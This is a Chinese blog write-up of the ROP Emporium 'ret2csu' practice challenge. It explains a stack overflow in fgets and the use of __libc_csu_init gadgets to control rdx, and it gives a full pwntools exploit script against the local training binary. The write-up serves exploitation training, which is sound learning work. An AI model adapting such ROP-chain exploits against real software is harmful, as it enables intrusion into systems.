ROP Emporium の ret2csu

Introduction

ROP Emporium训练7:ret2csu的解析。

ret2csu

Step 1

程序运行图:

checksec:

根据提示,最终还是要调用ret2win函数,但是对相应寄存器有了一定限制。

Step 2

把程序丢到hopper中发现pwnme函数中fgets函数存在溢出漏洞:

根据提示我们是需要调用ret2win函数:

并且提示我们需要将低3个参数即rdx寄存器的值置为0xdeadcafebabebeef,但是通过ROPgadget我们并没有找到可以控制rdx寄存器的gadgets:

根据ret2csu - 万能gadgets我们可以选择利用万能gedgets实现传参:

主要思路和easy_csu差不多,同样通过init_array_start函数的指针来跳过gadget2中的那条call指令。

Step 3

EXP脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
* from pwn import *
*
* sh = process('./ret2csu')
* elf = ELF('ret2csu')
*
* gadget1 = 0x40089a
* gadget2 = 0x400880
*
* init_addr = elf.symbols['__init_array_start']
* ret2win_addr = elf.symbols['ret2win']
*
* payload = 'a' * (0x20 + 0x8)
* payload += p64(gadget1) + p64(0) + p64(1) + p64(init_addr) + p64(0) + p64(0)+ p64(0xdeadcafebabebeef)
* payload += p64(gadget2) + 'a' * 56
* payload += p64(ret2win_addr)
*
* sh.recvuntil('>')
* sh.sendline(payload)
*
* sh.interactive()
* sh.close()

EXP脚本运行结果:

End

至此ROP Emporium的8个训练全部结束,完结,撒花~~

文章作者: ColdSnap
文章链接: https://coldwave96.github.io/2020/06/15/ret2csu/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ColdSnap の Blog